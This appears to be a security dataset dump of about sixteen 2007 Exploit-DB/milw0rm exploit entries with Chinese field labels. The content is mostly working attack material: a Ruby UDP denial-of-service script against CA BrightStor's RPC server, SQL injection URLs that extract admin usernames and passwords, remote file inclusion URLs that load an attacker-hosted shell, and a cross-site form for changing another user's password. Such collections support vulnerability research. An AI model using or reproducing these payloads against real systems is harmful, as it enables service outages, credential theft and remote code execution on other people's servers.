QLWD/code_shield huggingface dataset:
标题: CA BrightStor ARCserve 11.5.2.0 - 'catirpc.dll' RPC Server Denial of Service EDB-ID: 3248 CVE: 2007-0816 类型: DOS 平台: WINDOWS 发布日期: 2007-02-01 漏洞利用脚本: #!/usr/bin/ruby
#  
# Computer Associates (CA) Brightstor Backup Remote Procedure Call Server DoS (catirpc.dll)
#
# Catirpc.exe - Provides the endpoint mapper and enables RPC services for BrightStor Backup products.
# 
# (7c.350): Access violation - code c0000005 (!!! second chance !!!)
# eax=007ef924 ebx=2e009560 ecx=00325ad8 edx=007ef900 esi=00000000 edi=00324308
# eip=2e00eda8 esp=007ef8b8 ebp=2e00be00 iopl=0         nv up ei pl nz na po nc
# cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00000206
# *** WARNING: Unable to verify checksum for C:\Program Files\CA\BrightStor ARCserve 
# Backup\CATIRPC.dll
# *** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program 
# Files\CA\BrightStor ARCserve Backup\CATIRPC.dll - 
# CATIRPC_2e000000!get_hostbyname+478:
# 2e00eda8 668b4602         mov     ax,[esi+0x2]          ds:0023:00000002=???? 
#
# CATIRPC.dll does not properly handle TADDR2UADDR procedures used in RPC communications with
# the CA RPC Server (Catirpc.exe). This leads to a condition where a null memory pointer
# is dereferenced. This appears to be only a DoS, but please prove me otherwise. This was tested on
# BrightStor ARCserve Backup 11.5.2.0 (SP2)
#
# (c) Copyright 2007 Shirkdog i 
#
# Author: M. Shirk (Shirkdog) shirkdog_list ^ at % hotmail.com
# Thanks to Tebodell for testing
#
# Greetz to str0ke, Galileo. Metasploit module to follow

require 'socket'

backup_server = (ARGV[0])
target_port = (ARGV[1] || 111) 

#RPC/Portmap packet
packet_of_death= 
"\xde\xad\xbe\xef"  + # XID
"\x00\x00\x00\x00" + # Message Type: Call (0)
"\x00\x00\x00\x02" + # RPC Version: 2
"\x00\x01\x86\xa0" + # Program: Portmap
"\x00\x00\x00\x03" + # Program Version: 3
"\x00\x00\x00\x08" + # Procedure: TADDR2UADDR (8)
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" + #Credentials and Verifier all NULL
"\x46\x9b\x22\xe2" + # Portmap data
"\x00\x00\x00\x00" + # Nulls that get processed during address shifting
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" 

puts "[+]Computer Associates (CA) Brightstor ARCServe Backup Remote Procedure Call Server DoS (catirpc.dll)\n"
puts "[+]Author: Shirkdog\n\n"

if (!(backup_server && target_port))
 puts "Usage: catirpcdos.rb host port (default port: 111)\n"
 exit
else
 puts "[+]Sending UDP Packet of Death...\n" 
 sock = UDPSocket.open
 sock.connect(backup_server, target_port.to_i)
 sock.send(packet_of_death, 0)
 puts "[+]Done...\n[+]Catirpc.exe is dead\n[+]... or it will die in a few seconds for you inpatient bastards\n"
end

# milw0rm.com [2007-02-01] URL: https://www.exploit-db.com/exploits/3248
标题: Hunkaray Duyuru Scripti - 'tr' SQL Injection EDB-ID: 3241 CVE: 2007-0688 类型: WEBAPPS 平台: ASP 发布日期: 2007-01-31 漏洞利用脚本: ###############################################################
#Hunkaray Duyuru Scripti (tr)  == SQL Injection Vulnerability
#Author : cl24zy - DrEgHoT - TuF4N
#Site : www.hacklive.org , www.illegal-attack.org
#Contact: admin@hacklive.org
###############################################################
#Download Hünkaray Duyuru Scripti (tr) : http://www.aspindir.com/Goster/4678
#Demo : http://b.1asphost.com/hunkaray/duyuru

#Exploit;
#Admin Nick, Passport;
http://[SITE]/oku.asp?id=-1%20union+all+select+0,kullaniciadi,sifre,3+from+admin

#Greetz: iLLeGaL-ATTaCK//TiM & HacKLivETeaM
################################################################

# milw0rm.com [2007-01-31] URL: https://www.exploit-db.com/exploits/3241
标题: Cerulean Portal System 0.7b - Remote File Inclusion EDB-ID: 3243 CVE: 2007-0684 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-31 漏洞利用脚本: -----------------------------------------------

Cerulean Portal System (phpbb_root_path) Remote File Include Exploit

-----------------------------------------------

Author: xoron

xoron.biz - xoron.info

-----------------------------------------------

Code: 

include ($phpbb_root_path . 'portal/config.' . $phpEx);

-----------------------------------------------

POC:

www.[target].com/[script_pat]/portal/portal.php?phpbb_root_path=http://evilscripts?

-----------------------------------------------

Exploit: Exploit coded by xoron..!

HTML
www.xoron.info/bugs/ceruleanportalsystem-html.txt

PERL
www.xoron.info/bugs/ceruleanportalsystem-perl.txt

-----------------------------------------------

download: http://sourceforge.net/projects/cerulean/

-----------------------------------------------

Tesekkurler: pang0, chaos, can bjorn

Thanx: str0ke, kacper

xoron gider izi kalir, selametle.

kaybetmenin tiryakisi bir cocuk xoron.

Adimizi altin harflerle yazdik.

-----------------------------------------------

# milw0rm.com [2007-01-31] URL: https://www.exploit-db.com/exploits/3243
标题: SIPS 0.3.1 - 'box.inc.php' Remote File Inclusion EDB-ID: 3245 CVE: 2006-4733 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-01 漏洞利用脚本: *******************************************************************************
# Title   :  SIPS <= 0.3.1(box.inc.php) Remote File Include Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://sourceforge.net/projects/sips/
# $$      :  Free

*******************************************************************************
[[ERROR]]]
..
...
.....
<?
include $config["sipssys"] ."/code/rssparser.inc.php";
?>
..
...
.....

[[ERROR]]]


[[RFI]]]

http://[target]/[path]/sipssys/code/box.inc.php?config[sipssys]=[SHELL]

Example:

/sipssys/code/box.inc.php?config[sipssys]=http://[target]/[path]/shell.x

[[/RFI]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2007-02-01] URL: https://www.exploit-db.com/exploits/3245
标题: JV2 Folder Gallery 3.0 - Remote File Inclusion EDB-ID: 3240 CVE: 2007-0682 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-31 漏洞利用脚本: *******************************************************************************
Greatz to:AsB-MaY TeAm & HaCk.eGy & To0oFa
ScRiPt:-http://foldergallery.jv2.net/download.php?file=foldergallery_3.0.2
Discovered By:- ThE dE@Th <<{AsB-MaY DiScOvEr ExPlIoTs TeAm}>>
********************************************************************************
template.php:-
<?php include $galleryfilesdir."/gallery_footer.php"; ?>
********************************************************************************
ExPlOiT:

http://www.Site.com/[JV2 Folder Gallery]/gallery/theme/include_mode/template.php?galleryfilesdir=[Shell]

********************************************************************************

# milw0rm.com [2007-01-31] URL: https://www.exploit-db.com/exploits/3240
标题: Cadre PHP Framework - Remote File Inclusion EDB-ID: 3237 CVE: 2007-0677 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-31 漏洞利用脚本: ____________________   ___ ___ ________
\_   _____/\_   ___ \ /   |   \\_____  \
 |    __)_ /    \  \//    ~    \/   |   \
 |        \\     \___\    Y    /    |    \
/_______  / \______  /\___|_  /\_______  /
        \/         \/       \/         \/                              .OR.ID
ECHO_ADV_63$2007

------------------------------------------------------------------------------------
[ECHO_ADV_63$2007] Cadre remote file inclusion
------------------------------------------------------------------------------------

Author  : Ahmad Muammar W.K (a.k.a) y3dips
Date Found : January, 31st 2007
Location : Indonesia, Jakarta
web  : http://echo.or.id/adv/adv63-y3dips-2007.txt
Critical Lvl : Critical
------------------------------------------------------------------------------------


Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~

Application   : Cadre
URL           : http://www.cronosys.com | http://savannah.gnu.org/projects/cadre/
Download-path : http://ftp.azc.uam.mx/mirrors/gnu/savannah/files/cadre/cadre-20020724.tar.gz

Description   : Cadre is a PHP framework for developing large business applications. 
  It currently supports PostgreSQL as the database back end (although 
  this is extensible). We (Cronosys, LLC) have invested two and a half 
  years in this framework and applications based on this framework.

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~

 ---------------class.Quick_Config_Browser.php --------------------
 ...
 include_once($GLOBALS[config][framework_path] . "class.Browser.php");
 ...
 ------------------------------------------------------------------


 An attacker can exploit this vulnerability with a simple php injection script.

Poc/Exploit:
~~~~~~~~

http://target/cadre/fw/class.Quick_Config_Browser.php?GLOBALS[config][framework_path]=http://attacker/shell.php?

---------------------------------------------------------------------------
Shoutz:
~~~
~ my lovely ana
~ k-159 (my greatest brotha), the_day (young evil thinker), and all echo staff
~ str0ke, waraxe, negative
~ newbie_hacker@yahoogroups.com
~ #e-c-h-o @irc.dal.net

---------------------------------------------------------------------------
Contact:
~~~~

     y3dips|| echo|staff || y3dips[at]gmail[dot]com
     Homepage: http://y3dips.echo.or.id/

# milw0rm.com [2007-01-31] URL: https://www.exploit-db.com/exploits/3237
标题: Omegaboard 1.0beta4 - 'functions.php' Remote File Inclusion EDB-ID: 3242 CVE: 2007-0683 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-31 漏洞利用脚本: -----------------------------------------------

Omegaboard v1.0b4 (phpbb_root_path) Remote File Include Exploit

-----------------------------------------------

Author: xoron

xoron.biz - xoron.info

-----------------------------------------------

Code: 

include_once( $phpbb_root_path . './includes/functions_categories_hierarchy.' . $phpEx );

-----------------------------------------------

POC:

www.[target].com/[script_pat]/includes/functions.php?phpbb_root_path=http://evilscripts?

-----------------------------------------------

Exploit: Exploit coded by xoron..!

HTML
www.xoron.info/bugs/omegaboard-html.txt

PERL
www.xoron.info/bugs/omegaboard-perl.txt

-----------------------------------------------

download: http://sourceforge.net/project/showfiles.php?group_id=120703

-----------------------------------------------

Tesekkurler: pang0, chaos, can bjorn

Thanx: str0ke, kacper

xoron gider izi kalir, selametle.

kaybetmenin tiryakisi bir cocuk xoron.

Adimizi altin harflerle yazdik.

-----------------------------------------------

# milw0rm.com [2007-01-31] URL: https://www.exploit-db.com/exploits/3242
标题: Fullaspsite Asp Hosting Sitesi - 'tr' SQL Injection EDB-ID: 3233 CVE: 2007-0678 类型: WEBAPPS 平台: ASP 发布日期: 2007-01-31 漏洞利用脚本: ###############################################################
#Fullaspsite Asp Hosting (tr) == SQL Injection Vulnerability
#Author : cl24zy - DrEgHoT - TuF4N
#Site : www.hacklive.org , www.illegal-attack.org
#Contact: admin@hacklive.org
###############################################################
#Download Link Of Fullaspsite Asp Hosting Sitesi (tr) :
http://www.aspindir.com/Goster/4383
#Demo : http://aspsiteler.fullaspsite.com/hosting

#Exploit;
#Admin Nick, Passport;
http://[SITE]/windows.asp?kategori_id=-1%20union+all+select+0,1,2,3,4,5,6,7,8,9,10,username,12,13,14,password,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31+from+admin


#Union data Text;
#Alt Domain : Admin UserName
#Anl.k Trafik : Admin Password

#Greetz: iLLeGaL-ATTaCK//TiM & HacKLivETeaM
################################################################

# milw0rm.com [2007-01-31] URL: https://www.exploit-db.com/exploits/3233
标题: PHPMyRing 4.1.3b - 'fichier' Remote File Inclusion EDB-ID: 3238 CVE: 2007-0679 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-31 漏洞利用脚本: *******************************************************************************
# Title   :  PhpMyRing <= 4.1.3b (path) Remote File Include Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://www.microniko.net/phpmyring/
# $$      :  Free

*******************************************************************************
[[ERROR]]]
..
...
.....
<?
include ($fichier.".php");
?>
..
...
.....

[[ERROR]]]


[[RFI]]]

http://[target]/[path]//lang/leslangues.php?fichier=[SHELL]

Example:

//lang/leslangues.php?fichier=http://[target]/[path]/shell.x

[[/RFI]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2007-01-31] URL: https://www.exploit-db.com/exploits/3238
标题: Michelles L2J Dropcalc 4 - SQL Injection EDB-ID: 3232 CVE: 2007-0687 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-31 漏洞利用脚本: #==============================================================================================
#  Title: Michelle's L2J Dropcalc
#  Version: <= v4
#  Web Site: http://www.msknight.com/comps/lineage2/myl2jdropcalc.htm
#
#  Discovered By: Codebreak (codebreak1984@gmail.com | www.codebreak.tk)
#
#==============================================================================================
#  SQL Injection: (*** Must be logged in, using your own username and Token ***)
#
#  http://[Target]/[Path]/i-search.php?itemid=&username=[User]&token=[Token]&langval=lang-eng.php&server_id=0&skin_id=0&itemid=[SQL]
#
#  Example:
#
#   Obtain a player username:
#   http://[Target]/[Path]/i-search.php?itemid=&username=[User]&token=[Token]&langval=lang-eng.php&server_id=0&skin_id=0&itemid=-1 UNION select null,account_name,null,null,null,null,null from characters where char_name = "[PLAYER]"
#
#   Obtain a password for that username (*** encrypted): 
#    * only valid if loginserver and gameserver are in the same machine
#   http://[Target]/[Path]/i-search.php?itemid=&username=[User]&token=[Token]&langval=lang-eng.php&server_id=0&skin_id=0&itemid=-1 UNION select null,password,null,null,null,null,null from accounts where login = "[USERNAME]"
#
#
#  Bonus:
#   
#   Obtain MYSQL Password (encrypted):
#    *only valid if the script is executed with root accounts.
#   http://[Target]/[Path]/i-search.php?itemid=&username=[User]&token=[Token]&langval=lang-eng.php&server_id=0&skin_id=0&itemid=-1 UNION select null,Password,null,null,null,null,null from mysql.user where User = "root" and host="localhost"
#
#   *** L2J Encrypted Password can be decoded into a SHA1 hash. I've made a script to do that and it's included in this file
#
###############################################################################################


<--------- Beginning of PHP Script --------->

<style type="text/css">
<!--
.style3 {font-size: 24px}
.style1 {color: #CC0000}
-->
</style>
<?
echo("<title>L2J Pass Decoding - POC</title>");
$pass = $_POST['decode']; 
$unpass3 = base64_decode($pass);


$array = unpack("H*", $unpass3);
foreach ($array as $key => $value)
$unpass2 = $array[1];


echo("<span class=style1><b><u>Decoding Password</u></b></span>");

echo("<br><b>Base 64:</b> $pass<br>");
echo("<b>Unpacked:</b> $unpass3<br>");
echo("<br><b>SHA1:</b> $unpass2<br>");
?>
<form name="form1" method="post" action="">
  <div align="center">
    <input type="text" name="decode">
    <input type="submit" value="Decode">
  </div>
</form>
<br><br><br><center><i>Created by Codebreak</center></i>

<------------- End of Script ------------->

# milw0rm.com [2007-01-31] URL: https://www.exploit-db.com/exploits/3232
标题: Hailboards 1.2.0 - 'phpbb_root_path' Remote File Inclusion EDB-ID: 3236 CVE: 2007-0662 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-31 漏洞利用脚本: -----------------------------------------------

Hailboards v1.2.0 (phpbb_root_path) Remote File Include Exploit

-----------------------------------------------

Author: xoron

xoron.biz - xoron.info

-----------------------------------------------

Code:

include($phpbb_root_path . 'includes/bbcode.'.$phpEx);

-----------------------------------------------

POC:

www.[target].com/[script_pat]/includes/usercp_viewprofile.php?phpbb_root_path=http://evilscripts?

-----------------------------------------------

Exploit:

www.xoron.info/bugs/hailboards.txt

-----------------------------------------------

download: http://hailboards.org/

-----------------------------------------------

Tesekkurler: pang0, chaos, can bjorn

Thanx: str0ke, kacper

xoron gider izi kalir, selametle.

kaybetmenin tiryakisi bir cocuk xoron.

Adimizi altin harflerle yazdik.

-----------------------------------------------

# milw0rm.com [2007-01-31] URL: https://www.exploit-db.com/exploits/3236
标题: PHPBB2 MODificat 0.2.0 - 'functions.php' Remote File Inclusion EDB-ID: 3231 CVE: 2007-0656 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-30 漏洞利用脚本: -----------------------------------------------

phpBB2 MODificat (phpbb_root_path) Remote File Include Exploit

-----------------------------------------------

Author: xoron

xoron.biz

-----------------------------------------------

Code:
include_once( $phpbb_root_path . './includes/functions_categories_hierarchy.' . $phpEx );
-----------------------------------------------

POC:

www.[target].com/[script_pat]/includes/functions.php?phpbb_root_path=http://evilscripts?

-----------------------------------------------

download: http://sourceforge.net/project/showfiles.php?group_id=110366

-----------------------------------------------

Tesekkurler: pang0, chaos, can bjorn

Thanx: str0ke, kacper

xoron gider izi kalir, selametle.

kaybetmenin tiryakisi bir cocuk xoron.

Adimizi altin harflerle yazdik.

-----------------------------------------------

# milw0rm.com [2007-01-30] URL: https://www.exploit-db.com/exploits/3231
标题: ExoPHPDesk 1.2.1 - 'faq.php' SQL Injection EDB-ID: 3234 CVE: 2007-0676 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-31 漏洞利用脚本: *******************************************************************************
# Title   :  ExoPHPDesk <= 1.2.1 (faq.php) Remote SQL Injection Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://www.exoscripts.com
# $$      :  Free
# Dork    :  Powered by ExoPHPDesk v1.2 Final.
# DorkEx  :  http://www.google.com.tr/search?q=Powered+by+ExoPHPDesk+v1.2+Final.+&hl=tr&start=0&sa=N

# Info    : \* Google aramasi sonucu admin kullanici adini ve hashlarini ele
           gecirdiginizde md5 ile sifrelenmis hashi kirmamiza gerek yok.
           Siteye uye olarak beni hatirla tarzi cookie ile girisimizi yaparak,
           cookilerde tutulan UserName ve Pass'i degistererek , admin yetkisi
           ile giris yapabilirsiniz.Daha sonra ticket bolumunden eger serverda
           ayarlar tamsa(configdeki) shell sokabilirsiniz. /*

*******************************************************************************

[[SQL]]]---------------------------------------------------------

http://[target]/[path]//faq.php?action=&type=view&s=&id=[SQL]

Example:

//faq.php?action=&type=view&s=&id=-1'%20union%20select%200,concat(char(85),char(115),char(101),char(114),char(110),char(97),char(109),char(101),char(58),name,char(32),char(124),char(124),char(32),char(80),char(97),char(115),char(115),char(119),char(111),char(114),char(100),char(58),pass),0,0,0,0,0%20from%20phpdesk_admin/*

[[/SQL]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2007-01-31] URL: https://www.exploit-db.com/exploits/3234
标题: phpBB Tweaked 3 - 'phpbb_root_path' Remote File Inclusion EDB-ID: 3235 CVE: 2007-0680 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-31 漏洞利用脚本: -----------------------------------------------

Phpbb Tweaked (phpbb_root_path) Remote File Include Exploit

-----------------------------------------------

Author: xoron

xoron.biz - xoron.info

-----------------------------------------------

Code:
include_once( $phpbb_root_path . './includes/functions_categories_hierarchy.' . $phpEx );

-----------------------------------------------

POC:

www.[target].com/[script_pat]/includes/functions.php?phpbb_root_path=http://evilscripts?

-----------------------------------------------

Exploit:

www.xoron.info/bugs/phpbbtweaked.txt

-----------------------------------------------

download: http://sourceforge.net/projects/phpbbtweaked/

-----------------------------------------------

Tesekkurler: pang0, chaos, can bjorn
Thanx: str0ke, kacper
 
-----------------------------------------------

xoron gider izi kalir, selametle.

kaybetmenin tiryakisi bir cocuk xoron.

Adimizi altin harflerle yazdik.

-----------------------------------------------

# milw0rm.com [2007-01-31] URL: https://www.exploit-db.com/exploits/3235
标题: Extcalendar 2 - 'profile.php' Remote User Pass Change EDB-ID: 3239 CVE: 2007-0681 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-31 漏洞利用脚本: <form name="userform" action="http://[target]/register.php" method="post">
  <input name="step" type="hidden" value="regform">


  <tr>
   <td class='tableh2' colspan='2'>Account Information</td>

  </tr>
  <tr>
   <td class='tableb' width='160'>Username</td>
   <td class='tableb'>
   </td>
  </tr>
  <tr>
   <td class='tableb' width='160'>Password</td>

   <td class='tableb'><input type='password' name='password' class='textinput' value="" size='25' maxlength="16">
   </td>
  </tr>
  <tr>
   <td class='tableb' width='160'>Confirm Password</td>
   <td class='tableb'><input type='password' name='password_confirm' class='textinput' value="" size='25' maxlength="16">
   </td>
  </tr>

  <tr>
   <td class='tableb' width='160'>E-mail Address</td>
   <td class='tableb'><input type='text' name='email' class='textinput' value="" size='25'>
   </td>
  </tr>
  <tr>
   <td class='tableh2' colspan='2'>Other Details</td>
  </tr>

  <tr>
   <td class='tableb' width='160'>First Name</td>
   <td class='tableb'><input type='text' name='firstname' class='textinput' value="" size='25'>
   </td>
  </tr>
  <tr>
   <td class='tableb' width='160'>Last Name</td>
   <td class='tableb'><input type='text' name='lastname' class='textinput' value="" size='25'>

   </td>
  <tr>
   <td class='tableb' width='160'>Home page</td>
   <td class='tableb'><input type='text' name='user_website' class='textinput' value="" size='25'>
   </td>
  <tr>
   <td class='tableb' width='160'>Location</td>
   <td class='tableb'><input type='text' name='user_location' class='textinput' value="" size='25'>

   </td>
  <tr>
   <td class='tableb' width='160'>Occupation</td>
   <td class='tableb'><input type='text' name='user_occupation' class='textinput' value="" size='25'>
   </td>
  </tr>

  <tr>

   <td class='tablec' colspan='2' align='center' valign='middle' height='40'>
    <input name='submit' type='submit' value="&nbsp;&nbsp;Submit my registration&nbsp;&nbsp;" class='button'>
   </td>
  </tr>
<!-- END submit_row -->
 </form>

# milw0rm.com [2007-01-31] URL: https://www.exploit-db.com/exploits/3239
标题: PHPFootball 1.6 - Remote Database Disclosure EDB-ID: 3226 CVE: 2007-0638 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-30 漏洞利用脚本: *******************************************************************************
# Title   :  PHPFootball 1.6 (show.php) Remote Database Disclosure Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://phpfootball.sourceforge.net
# $$      :  Free
# Dork    :  inurl:/phpfootball/

*******************************************************************************

[[DBREAD]]]---------------------------------------------------------

http://[target]/[path]//show.php [VARIABLES]

Example:

//show.php?dbtable=Accounts&dbfield=Username&dbfieldv=%&dbfields=Id&

[dbtable] :Database Table Name
[dbfield] :Field Name
[dbfields]:Listing(Order by x)

[[/DBREAD]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2007-01-30] URL: https://www.exploit-db.com/exploits/3226